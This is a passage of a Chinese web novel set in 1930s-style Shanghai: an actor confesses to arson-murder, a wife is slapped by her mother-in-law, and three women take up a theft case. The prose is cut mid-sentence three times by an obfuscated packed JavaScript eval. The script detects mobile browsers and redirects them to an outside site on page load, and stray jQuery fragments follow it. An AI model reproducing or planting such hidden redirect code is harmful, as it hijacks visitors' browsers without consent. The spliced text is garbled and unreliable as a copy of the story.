知名戏剧演员变成杀人嫌犯的同时,又被冠上偷拍色情狂的名号,闹得满城风雨。
他原本就是入赘,陈静仪因此在陈家丢尽脸面。陈老爷甚至为此大病一场,直言要两人立刻离婚,绝不会拿一分钱出来帮助这个令陈家蒙羞的女婿。
一月后,人财两空的聂辉在牢里认罪,将自己十年前如何跟踪暗恋林婉茜,在跳舞会上发现她与吴兆堂举止亲密,恼羞成怒后放火杀人全过程一五一十都说了。
-
上海的秋天是黄色的,日出、落叶,梧桐叶被风吹起,飘落到骑自行车经过的人头上,又被追赶行人的风吹下来。丫头四妞顶着秋风从大门口出来,一路小跑到门口取了信件,报纸头版上硕大的标题吸引住她。新闻报道读起来比日记困难,她却一眼在字里行间认出了“段家三少奶奶”几个字。
这是叶秋容这段时间识字的时候,最先熟记于心的。
“三少奶奶、三少奶奶你快看,聂辉认罪了!报纸上还专门提到你了!”
“当真吗,快给我瞧瞧。”
叶秋容赶紧把最后几枝花插进花瓶里,顺手把嘴里的烟搁在烟灰碟里,接过报纸。
她从未如此庆幸自己识字,白底黑字一排一排,叽叽喳喳在她眼前吵着,她如今都能看懂了。写这篇报道的人不知从何处得了消息,知道聂辉落网同她们三人有关,赞誉她们为时代女性之典范。
“瞧瞧,说我们的聪慧与胆识,不输男儿呢。我要告诉芳笙去。”
顾不得肩头披巾滑到手腕,她踩着绒面布拖鞋登登登下到一楼,打算给宋芳笙去个电话。伸手刚把听筒拿起来,被一只从身后伸出来的手按回去,大嫂何美玲和二嫂许小月走到她面前,一口烟吐到她脸上。
“做什么?”
10. 交恶
“做了丢人的事,还有脸打电话四处宣扬。我说三妹妹,你是真不懂,还是脸皮厚?”许小月按住她拿听筒的手,说什么也不放,“你以为你做了件大好事,殊不知却是多管闲事。今天就让我们好好来教教你,什么该管、什么不该管。”
“不劳二嫂子操心,弟妹心里有数。”
平日里话都说不上的人,故意要喊“三妹妹”来恶心她。叶秋容力气比不过她,想起二楼段澄恩书房里也有电话,抽回手说道,“嫂嫂妒忌我上了报纸,是人之常情。不过你好像忘了,之前二哥那些铺子是怎么换的人、换了天地。你可想好了,真的要来教我规矩吗?”
“烟花地出来的狐媚子,搬出三弟来吓唬我?”
“我是烟花地出来的狐媚子,你就是脂粉盒里爬出来的母老虎。”
“你!”
“她说你你不听,那我来说。”何美玲站到两人中间,看着叶秋容面带愠色,“且不说你嫁入段家,于段家的家业和三弟的生意有何帮助,台面上能不能给他长脸。只说这次,你让人抓了聂辉,让陈家蒙羞,就头一个要赔不是。陈静仪背后,她父亲陈老爷坐拥金山银山,礼查饭店你也去过,你就该明白,那是你得罪不起的人家。若陈老爷因此事与我们段家交恶,你当如何?你又能如何?”
“聂辉作奸犯科、坏事做尽,我明知他该抓,难道还替他藏着掖着,那不是把他太太往火坑里推?陈静仪小姐若是知书达理,陈老爷也是个明事理的大人物,更应该感谢我,亲自登门向我道谢才是!”
“你说什么疯话?陈家人不是傻子,你把陈小姐的心踩碎了,让全上海都知道她所托非人,你还要她谢你,真是疯婆娘。”
“她不谢我,那是她死要面子。改日若是臭……先生犯了事,谁替我抓了他,我一定给那人送鲜花去!”她听何美玲的话气得发抖,也顾不上是说理还是撒泼,只一味讲出来图个高兴,巴不得呕死面前两个人算数。
身后段老太太不知何时进了客厅,听见三人吵架,甩开佣人的手,上前一巴掌打在叶秋容脸上,凶神恶煞道,“喂不家的东西,白眼狼!这话也是你说得的?我儿子就算日后真犯了事,自有我们段家人捞他、保他,拿命护着他,有你什么相干,也轮得到你在这里大声嚷?”
“妈……”
老太太越说越激动,从前看着她进门时候累计的怨气,此刻一股脑全释放出来,“当初,要不是澄恩年岁大了,又挑,谁也看不上,说就答应娶你。要你过门,我是一万个不愿意。上海像我们这样的人家,你出去瞧瞧,哪家有头有脸的小姐、太太同你一样,成日里东奔西跑、抛头露面?段家少奶奶就该居内!这么大的房子,这么厚的家底,还不够你看的,不够你待的?我告诉你,我决不允许你把外头戏子那一套带进段家,败坏了段家的门风!”
叶秋容被这一巴掌打懵,听她说了如此多话才反应过来,泪水好几次欲夺眶而出,被她强行忍回去。
面前人是段澄恩的妈,骂谁不能骂她,得罪谁不能得罪了她。要说叶秋容自己少有自卑抱怨的时候,此刻便是了。
右脸火辣辣地疼,手掌捂上去更疼了。她撤开手,知道自己右脸必定肿了起来,喉头那一股想吐的冲动也涌上来,忍得她浑身发抖。
“聂辉的事,母亲要怪我就怪我罢,反正你今天生我的气,我没话说。只一件,大哥不管事、二哥没出息,段家的门风不是我一个外来人可以轻易败坏的,母亲断不能把这么大的帽子扣在我头上……其余、其余我也不说了!”
最后一句话说出口,叶秋容眼泪决堤,胳膊横在面前擦眼泪,奔逃似的跑开,留老太太在身后混骂。
回到自己和段澄恩房里,她把脸埋进枕头痛哭一回。哭完她仍觉得没办法呼吸,想来跟这吃人的宅子有关。她立刻起身取了大衣,带上帽子、手套,叫来司机送她去三兴弄。
漆黑的石库门打开,两侧高楼林立,只是相隔太近,没有阳光漏进来。楼与楼之间架着竹竿、晾晒衣服,刚洗净的大褂被弄堂口卖饭团的灶里升起的热气熏着,又沾染上烟油气。叶秋容从小吃这摊子上的饭团长大,曾因为身上带着的也是这股味道,而不是脂粉味,被舞厅里的人笑话“土包子”。如今她身上喷着香水、带着珠宝,成了上流社会的人,她心里却明白,自己远没有以前做土包子来得开心。
叶母王柳儿正蹲在水井边上打水,背影佝偻着,没有注意驶入巷口的车。叶秋容叫司机停下,开门欲走,想起什么又返回车里,从印花手提袋掏出一盒脂粉,打开来往右脸抹了又抹,瞧着右脸颊红肿几乎看不见,她才告诉司机,晚饭过后再来接她。
“妈!”
“秋容?”好久不见女儿,叶母在腰上蹭干掌心水渍,想抱她,伸手瞧见袖子湿了又顿住。闪躲不及,叶秋容已经扑进怀里,抱着自己不撒手。
“怎么了这是,不打声招呼就回来,我和你爸啥都没买。”
“想你们了,回来看看。什么也不用买,煮碗面吃就好。”
滚烫的泪水滴在颈窝,叶母知道她哭了。女儿是何等要强的人,当初嫁人,段家人与自家在排面上简直天壤地别,她硬是挺胸抬头站在段澄恩身边,大大方方从头笑到尾,没让任何人看她和父母的笑话。
女人就是如此,生来就比男人更会忍耐。叶母想起自己在舞厅唱了这么多年,也忍了这么多年。到头来自己的女儿还要忍,恨自己没本事。
母女两个蹲在水井边,哭哭啼啼直到脚边水都流干了起身,相互擦擦眼泪,手挽手回到自家小院里。没有更多的话要试探,她们都是女人,知道对方为什么哭,不问最好。
叶母在厨房忙活,对于叶秋容回来,始终更高兴些,“还好我昨天做了红烧肉,专门找人学的,你爸说和仙乐斯里卖的红烧肉味道一模一样,只是吃多了腻得慌。你既来了,热了给你吃,等你爸回来再做别的。”
一口肥糯软嫩的红油肉放进嘴里,叶秋容一扫心头阴霾,将段家人抛之脑后。她主动说起聂辉的案子,和段家人喋喋不休的嫌弃,说他们见不得女人比他们家的男人更出风头,都是酸人胀肚,没有格局,只是对段澄恩只字不提。
叶母年轻时候虽然接触过不少富家公子、少爷,叶秋容大了之后她也老了,如今在仙乐斯后台帮忙,给舞女、歌女们穿穿衣服、画画脸,说到底还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016203|178452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是个守旧的女人。
她老了,眼睛不大好,瞧着女儿面颊泛红,只当她是刚哭过,嘴里絮絮叨叨说道,“各家人有各家人的规矩,你当初既铁了心嫁进去,就该有心理准备。那老太太虽然是个富贵人,终究不似你们新派人一样脾气。你若非要和她硬碰硬,我看你迟早还得从那个家里出来。”
“出来就出来。像我这样的女人,社会上多得很。离了我,臭老头还会找别的,左不过同我一样贪图他的钱,娶回来仍旧要让他家里人生气、伤心,都是一样的。我在段家几年,你们就轻松几年,我心里有数。”
叶家租住在上海的弄堂很小,又在一楼,街坊四邻提着蔬菜、馒头回家,能从窗户将她们家里瞧得一清二楚。叶母起身将晒褪了颜色的蓝布窗帘拉上,声音和身段都低下来,“现在社会不似以前严格,段家又是那样的大家族……你告诉妈,段三少爷是不是在外头有人了?”
叶秋容急忙否认:“没有!怎么会有呢……即便我不喜欢他,也决不允许他背地里欺负我,带着别的女人骑到我头上来。”
“你何曾不喜欢他……”叶母叹一口气,把筷子搁在碗边,看她的眼神隔着一层雾,“别人不知道你,我还不知道吗?段三少爷有钱、有地位,生的模样也是顶好顶俊朗的。你十五岁那年,把茶洒在他身上,自那以后他哪回来仙乐斯,你不是头一个跑在最前头去瞧他?你要真不喜欢他,你这样烈的性子,他喊一声,你就眼巴巴地给人把手表送到屋子里去了,你还不喜欢他?在妈妈面前,你用不着说谎!”
知心话到了嘴边,叶母没料到叶秋容又哭起来。她太心疼她,不然也舍不得她从段家得到的钱财。嘴里米饭混进眼泪,又苦又涩,叶秋容好不容易咽下去,嘴角强扯出笑容来。
“瞧你说的,财、色谁人不爱,我喜欢看他,就是喜欢他,那我喜欢的人太多了。快吃饭罢,红烧肉凉了不好咽,你不吃,我也不吃了。”
入秋的上海,白天和晚上是两个完全不同的世界。暮色苍茫之中,弄堂里也没有灯,阴森森一排排灰墙宅子,窗户上胡乱糊上些旧报纸,木质栏杆上生了霉。
父亲叶海生还在仙乐斯吹萨克斯,要等舞厅关门才会回来。借客厅透进来的光线,母女俩并肩站在厨房洗碗。
和母亲待在一起,不管说不说话,说什么话,叶秋容都是愿意的。她知母亲站在她这边,无论说什么都因为她没有把自己当外人。或许以前自己说过伤她的话,嫌弃他们的贫穷与卑微。可如今她愿意把钱都拿回来,即便自己不说,她想母亲也明白,自己是爱着他们的。
叶秋容手上动作缓慢,只侧过脸去,借一点光线静静地瞧着自己的母亲。
窗外嘀嗒声响,渐渐落了雨。她听见安静的弄堂里有车开进来,猜到是司机来接她。
回罢,回到那个让她无法呼吸的大宅子里,继续挺直了腰板做上流社会人。不,她也许永远做不了上流社会人。
雨点打在地砖上淅淅沥沥,落在雨伞上的声音格外大些,猜测是司机撑伞已经到门口。
她擦擦手,摘下围裙开了门,仰头瞧见段澄恩撑伞站在雨里,目光柔和地看着自己。
11. 苏砚之
秋后少晴,天总蒙着一层蟹青色的雾,像是随时随地要落下雨来。
因着不爱看戏也不爱跳舞,宋芳笙很少同父母相识的那些富家小姐们在一处。没结婚的时候,她不论天晴落雨,定时要往图书馆去。但凡碰上雨天,馆里必定充满皮鞋的臭气,湿漉漉、酸唧唧。认识叶秋容与沈丽曼之后,她终于可以把书都买回家看,省去父母口中,保持社交和外出活动的必要。
沈丽曼走进顾宅花园,宋芳笙已经在圆椅坐下,头发随意挽做一束,默不作声地喝着咖啡。
“怎么了这是,上午在电话里不还挺高兴的?”
咖啡杯放回桌上,失了轻重发出哐当一声。宋芳笙侧过脸只望着满园木樨,不满道,“还能为谁,自然是那块雕不出花的木头。”
十年前火灾案告破,顾均胜虽几次三番拒绝她,到底还是帮了不少忙。若没有他深夜给哈尔滨警署发去电报,就算她们再找出其他证据抓人,聂辉也早已带着夫人上了火车。
她今儿专门起个大早,到桂顺斋买热乎乎的杏仁酪回家,同顾均胜吃午饭之时与饭后甜汤一并端上来。
“前脚你刚拒绝搜查聂辉的家,后脚他的宅子就被闯空门,想也知道是怎么回事。聂家被偷一案既没有追究,也没有人查出丽曼姐的手下,我自然知道是你的授意。”宋芳笙剜起一勺杏仁酪举到顾均胜嘴边,眉眼和顺道,“这杏仁酪是我早上排队买来的,让赵妈又热了一回,面上杏仁片不知道还脆不脆了,你尝尝。”
就当作谢礼。
沈丽曼听了直笑,“难得你还有向他低头的时候,那他如何说?”
宋芳笙的手扶在圆桌边沿,身子朝沈丽曼倾斜,“他说我多虑了,他并没有做过这些事,让我把杏仁酪拿来与你们分享,然后穿上大衣就走了!你说,他那意思可是在说我自作多情?叫我怎么能不生气?”
在心里暗暗赞叹这个男人聪明,沈丽曼仍开口安慰道:“他越是这样,你越犯不上生气。往后日子还长,可有生不完的气。”
话说到一半,花园里一阵风将木樨吹得飒飒作响。叶秋容戴一顶黑色网纱礼帽走进来,屏退下人之后摘下来搁在桌沿,宋芳笙立刻瞧出她右脸颊上红肿未消。
“你这又是怎么了,谁打的?”
“还能是谁,段家那群恶婆娘呗。”她把前几日同段家几个女人的争执简单说了,宋芳笙立刻觉得,自己同顾均胜再不对付,和叶秋容要面对的九九八十一难相比,根本不算什么。
“后来呢,三少爷如何说?”
“我能饶了他?”叶秋容语调拔高道,“见他站在门口,我二话不说上去抱住他就开始哭,外套、衬衣都被我拿来擦了眼泪。到家以后他叫来医生瞧我,二嫂子非说我娇气,我就听见他在门口说话,说我说得没错:倘若有一日他真做了杀人放火的事,在动手的那一刻便默认将段家先祖、亲人朋友以及妻子抛在脑后,先做了那个背信弃义、抛妻弃子之罪人。那时我便是要离婚还是改嫁,他都没资格干涉,更别说嫂嫂和妈。”
“倒没看出来,三少爷是个深明大义的人。”沈丽曼故意端起杏仁酪吃了一勺,含笑看着宋芳笙。
“哪儿能够呢,都是在外头人面前装样子。”叶秋容即刻否认,从椅子上坐直说道,“等房间里只剩我和他,我想着他夹在中间也算吃苦,好声好气夸起来他来,可不就是姐姐你这几句,说他明事理。谁知道他直接掐住我的脖子把我按倒在床上,说他不喜欢我这么说话。”
【哪怕我真杀人放火、十恶不赦,被关起来坐一辈子牢,要是你在外头改嫁跟了别的男人,我也立刻从牢里提枪出来杀了他。以后,断不许再让我听见这样让我伤心的话。】
“他真如此说?”
“可不是?在外头和在里头完全是两个人,按我家里人俗语,可是叫‘笑面虎’不是?嫁给这样的人,我真是命苦。”
她自然没有消气,千万份委屈到嘴边都成了逞强。她几乎不曾袒露真心。
宋芳笙啧啧称奇,想起和段澄恩为数不多几次见面,低头回味。真正的老狐狸,装清高是装不了多久的,时间长了总要露出狐狸尾巴。段澄恩不一样,除了尾巴,还要向妻子展示他的尖牙。
晌午过后,有一缕日光突破云层钻出来,天变得亮堂。
右侧通体雪白的欧式宅院里传出悠长轻盈的小提琴声,随桂花瓣子一同飘进顾宅,飘进三个女人耳朵,凭添三分缠绵。
女人总免不了为男人生气、伤心,仿佛是世界上最自然的事。宋芳笙和叶秋容各有各的愁,瞧沈丽曼却是满面春风,从跨进花园到现在,咖啡一口没动,脸上笑意满盈。
“姐姐笑得古怪,是遇上什么好事了?”
碗里杏仁酪见了底,水墨含情的一双眼睛半挑,勾得宋芳笙魂都酥了。
“我又碰见申报那个小记者了。”
小记者叫苏砚之。
大闹百乐门那晚,她发现有人偷拍,从幕帘后抓出一个细皮嫩肉的小子。手下人缴了那人的相机,把人双手反翦押到沈丽曼面前。
“我专门来拍百乐门吴老爷的,刚才走廊乱成一眼,我没头苍蝇一样跟着就跑出来了,遇到太太纯属意外。”
“意外?”沈丽曼勾起男人下巴,能摸到一点扎手的胡渣,“你敢说,这相机里的照片洗出来,没有我?”
年轻男人噤声,耳垂渐渐红了。她轻笑两声,朝手下示意,“砸了它。”
“别!千万别!”他连声阻止道,“这相机是报社的,不是我的。砸了它我的饭碗也没了。求太太手下留情……我叫苏砚之,待太太照片洗出来,我必定双手奉上,绝不让太太尊容落报。”
宋芳笙不知道,她走后,原本百乐门大堂经理也死在这一场断刀盟与虹口帮秋后算账之中。百乐门的老板吴老爷带着人赶到后门,一边说着自己已经把断刀盟安插在自己舞厅的内应都杀了,一边向沈丽曼赔不是。
沈丽曼知道他是在断臂求生,点头将他的说法认下,不打算追究到底。末了见一个服务生附在吴老爷耳边说上两句,后者便开口问她,是否见过一个白面书生模样的小记者。
“那小子三番四次偷溜进来,每次都写一些乌七八糟的报道,存了心要败坏我的名声。我今日正好抓住他,将他的死一并算在这场暴乱之中。”
余光回落,虎背熊腰的两名手下把苏砚之挡在身后,愈发显得他青涩慌乱。被湿漉漉的小鹿眼盯住,沈丽曼弧了弧眼,说自己不曾见到,待百乐门的人都散了,她挥手让苏砚之离开,全然不知道苏砚之走出半条街,方才那群断刀盟的人从暗处钻出来,把男人团团围住。
“少爷,你没事罢?”
“还好你没事。但凡身上少一块肉,老大非把我们都杀了不可。”
“没事,是我非要背着父亲出来跑新闻的,碰上你们纯属意外。”苏砚之转身,目光穿过黑夜,看向街边那抹高挑的身影,在手下人搀扶下上了车。
-
“所以呢,他说什么了?”
沈丽曼放下银制小勺,从手包里拿出一张照片放到桌上。叶秋容拿起来瞧,照片上,沈丽曼站在街头淡青的夜色下,正转身看向镜头。
“他候在家门口等我,说是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016204|178452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
答应要把照片还我,不能食言。还同我解释,百乐门那篇报道非他所写,而是报社中另一位记者所写,叫我莫要错怪于他。谁记得他是谁呢,我早忘了。”
“我看未必。”叶秋容拿眼神剜她,“姐姐刚才笑成那样,难道不是为这苏砚之?白面书生、生涩青春,我看正好一填姐姐闺中寂寞,拿住此人解解乏才好。”
沈丽曼呸了她一声,“哪里学的混话,敢拿来取笑你姐姐我?奶油粉面的愣头青,脆生得很,一掰就断,我可担不起。”
“没准那小子经得住姐姐掰扯呢?”
羽缎扇面轻轻点在鼻梁,沈丽曼摇着扇子,看宋芳笙一头雾水的样子,含笑道,“快别说了,芳笙妹妹都没听懂。”
啊?宋芳笙眨眼,立刻回应道,“怎么没听懂……听姐姐所言,那苏砚之无论年纪还是阅历都与姐姐相差甚远,自然配不上姐姐,更别提姐姐女家主的身份,他只怕听了都要被吓到罢?”
是这意思罢?
少女急于辩解的样子逗笑两人。
沈丽曼把手搁在女孩膝盖,语重心长道,“芳笙,你老实说,你同顾少爷结婚那晚,可有睡在一处?”
“不曾,他去书房睡的。”
叶秋容听完更是捧着肚子笑得前仰后合,“原来是这样!姐姐没说错,原不该在咱们顾少奶奶面前说这些的,纯情的少女啊,听不懂……哈哈哈哈……”
她这下听懂了,火烧到耳根子,整张脸涨得通红,“秋容你存心讨打。”
两人绕着花园打闹,叶秋容银铃般的笑声逐渐变成讨饶,“哎哟、哎哟,我知错了,顾少奶奶快别打了……哦,不对,你不愿意做顾少奶奶,你还是宋小姐呀,哈哈哈哈。”
她追着叶秋容打,“还说,看我不撕了你这张嘴!”
吵闹声将各自带着的丫头、奶妈吸引过来,沈丽曼赶紧招呼她们坐回来,笑问宋芳笙道,“如今不睡在一处,只怕以后更难相处。你老实说,到底如何想的,难道还等着以后改嫁?”
“那倒也没有……”她虽然觉得顾均胜是个性格恶劣、不懂变通的混蛋,但也没有那么讨厌他。
叶秋容玩累了,喝一口咖啡接话道:“那为何分房睡,难道是他不行?”
话音刚落,花园连通一楼会客厅门后传来“咚”的一声,像是有什么东西撞到门上。三人循声望去,迟迟不见有人现身。
宋芳笙收回目光,脸红到快要渗血道,“姑奶奶,算我求你,别说了。”
“那就是他不行。”
“是我不愿同没有感情的人睡在一处。他行与不行,我、我不知道。”
叶秋容不耐烦起来,“你们这些矜持高贵的小姐都一个样,什么都要谈感情。既没感情,便找个机会分开,再寻那有感情的去,偏你又不乐意。再拖下去,这年纪可就大了。”
这下换宋芳笙不乐意了,“我堂堂外交官的千金,何时想嫁,多的是人排队来娶,年纪长点算什么……”
“我是说顾少爷的年纪。”娇滴滴的女人也语重心长起来,循循善诱道,“趁他年轻,多受些磨搓也经得起,早用早享受。免得等将来他年纪大了,有心无力……哎提起这个我就伤心……”
沈丽曼止不住笑,“你伤心,伤的哪门子心?衣裳都被撕烂好几身了,可见这三少爷手劲也不小啊。”
小狐狸摇头,“中看不中用。”
“咳咳。”猝不及防的咳嗽声自门后响起,像是谁被水呛到。三人又一次转头看去,过好一阵,才有一个男仆从门后面走出来,一脸为难地看看门后,又看看三位太太,道歉不迭。
12.胡闹
入秋时节,霞飞路上的梧桐叶黄了边,卷在风里飒飒作响。
穿阴丹士林布蓝染上衣、黑色裙摆的女学生提着布袋,三三两两结伴从警察署大门走过,一辆黑色小汽车在她们面前停下,走下来一个披着樱桃红绸褂衫、戴珍珠项链的挽发女人,忍不住多看了两眼。
警署门外站着警察,被街上往来车辆掀起的灰尘染上一层难闻的气味。丫头小春生怕从哪里突然冒个押解的犯人出来,怀里抱着东西,极不情愿地跟在宋芳笙身后。
“听杨叔杨婶说,警署里什么污漆糟粕都有,最是混乱不堪的去处,少奶奶还是别进去罢。”
芳笙不屑地抬头瞧着,示意她把怀里东西交给自己,“他不是说,作戏要作全?今儿我就偏要演到他那些兄弟面前去,非要让他当着大家的面,依我一回,看他以后还拿不拿自作多情的话来羞辱我。”
顾宋大婚那日,警署的人几乎都去了,此刻瞧有女子进门,衣着又这样得体,立刻认出是宋芳笙来,纷纷你推我搡地往署长办公室跑。
消息最后递到顾均胜手下周峰和李正面前,知道夫妻俩不睦内情的两人你看看我,我瞧瞧你,都不想进去传这个话。
“你去。”
“你去,我正经没同少奶奶说过话,不像你,上次还专门送了资料去头儿的宅子。”
“正是如此,在头儿心里我知道得已经够多了。你不一样,你啥也不知道。不知者无罪,赶紧去吧。”
“诶,我不去……”
“周峰,”清甜的女声自身后传来,转头看见宋芳笙已经站到面前,“我家先生在里面吗?”
朝露滚珠的四个字自女人丹朱唇间说出来,轻柔、细软,裹三分蜂蜜七分胭脂,听得警署里一众大老爷们耳根子发烫。
“在、在的,我这就……”
周峰话没讲完,办公室的门“唰”被拉开。顾均胜拿着一份文件走出来,被几个人堵在门口,不满蹙眉。
“先生~”
呼喊声拖着尾音,就这么黏糊糊地贴上去。顾均胜轻叩住她肩膀,阻止她继续靠近,“你来做什么?”
这警署全是男人,她打扮得花枝招展上门来,白叫人看了便宜。
她就喜欢看他不满皱眉的样子,将手里的外套略举起来说道,“秋寒霜重。我见先生出门穿得单薄,怕你生凉,便顺路把新买的大衣给先生送来。”
说着,她不忘展开手中外衫,努力踮起脚想给他穿上。顾均胜看她腰身绷直,被旗袍包裹着的屁股一下子翘起来,大手扯过衣服反把女人裹起来,搂她进到办公室,关上大门。
“到底来做什么?”大衣被扔在桌上,男人居高临下地看她。
“来给你送大衣啊。”
他不说话,只是用责备的眼神看着她。
宋芳笙得意洋洋,抬眼打量着他这间屋子。井井有条的陈设,东西多而不乱,与男人性子相符。桌面上函件尚摊开着,她凑过去想看,被男人戴着黑色皮手套的大掌“啪”一声合上。
“这里不是你胡闹的地方,我让李正和周峰送你回去。”
“送衣服哪里算是胡闹?先生若是受凉生了病,我这个做夫人的少不得要心疼……诶那桌上放的是哪一桩案子,让我看看。”
“还说不是胡闹?”男人推着她往外走,“我身体好得很,不劳夫人担心。”
“那就只让我看看卷宗,我保证不外传。”她力气比不上他大,被推着一点点往门口来。推搡期间她开衫从肩头滑落,肩膀肌肤触碰到男人胸口冷冰冰的金属徽章。
“哎呀你弄疼我了……放开我……”
“周峰、李正!”
听他喊人,宋芳笙干脆转过身来,双手环抱住男人腰身,把脸埋进他颈窝。两个手下推门进来瞧这一幕也惊着,门把手都没松开,迅雷不及掩耳之势又关了门,隔着门问道:“头儿、头儿有什么吩咐?”
怀中男人腰背僵直,硬得像块木头,只是体温滚烫。芳笙见他迟迟不回应,抬头发现顾均胜不知何时涨红了脸,愈发觉得好笑,“先生怎么不说话了?”
胸口被软乎乎地堵着,堵得他呼吸困难。顾均胜别过脸去,态度终于软下来一点,“别胡闹了,赶紧回去。”
“我说了我不是胡闹,是来送东西的……哦对了,还有呢。”
宋芳笙退开两步,主动把门打开,叫小春上前把手里的盒子打开,桂花和奶油的香气立刻从盒中溢出,钻进警署内各人鼻腔里。
“周峰,上次的事,多亏你帮忙送东西到家里,大家都辛苦了。这是时令的桂花松饼,辛苦你分给大家都尝尝。”
周峰木楞楞一个人,性格同顾均胜有七分相像。李正却是个油嘴滑舌,赶紧伸手接过来,不忘道谢,“诶、谢谢嫂嫂。”
有李正带头,其他人原本同顾均胜情如兄弟,跟着一起起哄,“谢谢嫂嫂!”、“谢谢嫂嫂!”、“嫂嫂今天真漂亮!”
她被一声声“嫂嫂”哄得眉开眼笑,向门口顾均胜递去一个耀武扬威的眼神,就在大厅里四处转悠,随口询问他们都在办什么案子。
失踪案、偷渡案、行贿案,五花八门。
真好啊。若她是个男儿,此刻哪里还需担心被丈夫赶出警署,一定同他们坐在一起,为一个个藏在暗处的真相奋笔疾书、追查到底。
“同志、同志你行行好,去看看罢。”
“去去去,赶紧走,别在这里。”
“警察同志……”
角落里头,两鬓见白的中年女人站在桌边,苦苦哀求着警察。那小警察却始终翘二郎腿坐在桌子里面,悠哉悠哉地看着手里逸园的门票。
逸园是上海最为奢华的娱乐场所之一,其中圣诞夜舞厅门票更是高到双人票一两黄金的贵价。
小警察的眼里只有门票,仿佛灯红酒绿、美人环绕就在眼前。
“赶紧走啊,没功夫同你浪费时间。”
芳笙细细打量着女人:身上衣服都是旧货,款式和面料却透着不俗,想来是有钱人家小姐太太穿剩下与她的,她又改了穿在身上。
大户人家的仆人,不知
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018831|178452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
求的什么事?
办公室里,顾均胜也被外头铺天盖地的“嫂嫂”声喊得没了脾气,坐在里头,半天看不进去一个字,只等她消停之后再出去把人带走。
李正鬼鬼祟祟走进来,手里瓷盘还装有一个松饼,“头儿,嫂子给的,特别好吃、特别的香,你尝尝。”
“拿走。”
“诶别啊,头儿,嫂子能给我们送吃的来,还不全看在你的面子上。有这样漂亮又得体的夫人,多长脸啊。你快别端着了,这松饼你不吃,外头兄弟抢着要。”
顾均胜自然知道这不是宋芳笙本意,还好总没有让他在兄弟面前面上无光。他踟蹰一阵,想了想还是伸手接过,送到嘴边咬了一口。
父母祖上原在北平,他在大宅子里长大,吃的是糖葫芦、驴打滚一类甜食,白糖、红糖的味道吃多了,不免生腻。
没想到西式松饼是另一种截然不同的味道,奶油醇香、桂花清润,是不错。
余光扫到桌边搭着的大衣,顾均胜垂眸,末了站起身,想起自己太太还在外面。
“你去备车,我送宋……”直呼其名太生疏。“芳笙”喊不出口,“我家太太”听上去像是在炫耀什么。
英挺俊硕的男人憋了半天,迟疑道,“……送她回去。你们先各自忙手头上的事,我吃过午饭再回。”
他不冷,还是乖乖披好了大衣。
走出办公室,男人环顾四周,没瞧见自家珠光宝气的太太。
“人呢?”
中年女人三番求告无果,垂头丧气地走出去,佝偻站在路边。电车行至面前停下,她刚准备上去,身后一只手伸出来拍了拍肩膀,女人转头看见一张面若桃花的脸。
“婶子,方听你在警署求助,不知遇到了什么麻烦事,不妨同我说说?”
-
“两位姐姐久等。”
叶秋容姗姗来迟,走进顾宅的时候,另外两人已经在花园等候。她紧挨宋芳笙坐下,将缀了珍珠的披肩摘下来,搁在膝上。
沈丽曼抿一口咖啡,蒸腾的雾气迷了眼,笑道,“今儿怎么来得比我还晚,又被三少爷留住了?”
“正是了。”小狐狸翻个白眼,闷闷不解道,“臭老头最近也不知怎的,对我的管束愈发多起来。以前白天见不着人,舞厅、咖啡厅我随便去哪儿也没人管。现在但凡我待在家里,他就把外头那些事叫全带回家处理,若是遇上非去不可的应酬,他要么让我跟着,要么就安排我出去看戏,应酬结束再来,就是不让我自己一个人待着。烦死人了。”
多半是怕她受家里人委屈,又一个人躲回娘家。沈丽曼斜一眼站在花园门口,叶秋容的丫头四妞,后者立刻心虚低下头去。
装有巧克力蛋糕的瓷盘边放几页文件。
一口咖啡下肚,暖而甘。叶秋容整个人放松下来,长舒一口气笑道,“说罢,这次又是哪一家的死人给你写信了?”
宋芳笙笑得得意,献宝一般把文件散与她们,给她们时间仔细看。
“荣氏家族宅子里丢东西了。”
13.窃案
宋芳笙在警署碰到的中年女人,原是荣公馆中下人米婶。
以荣中盛为首,做面粉厂起家,被称为“面粉大王”的荣氏家族,在上海、奉天、北平四处置有宅子,闲置居多。
失窃的宅子并非荣公馆主宅,而是荣老爷众多豪宅中专门用于收藏古董摆件的一处旧宅。
富贵人家的钱各有用处:年青小姐脂粉首饰,时兴的、复古的,香水、面膏这个月有桂花香的,下个月就有龙舌兰香的,总也买不完;败家少爷们吃酒、打牌、抽烟,花在女人身上、花在面子上,也花在愚笨的脑子上,买真情、买尊严、买教训。
荣老爷更精明些,知道什么是硬通货,把钱全花在房产田地和古董玉器上。
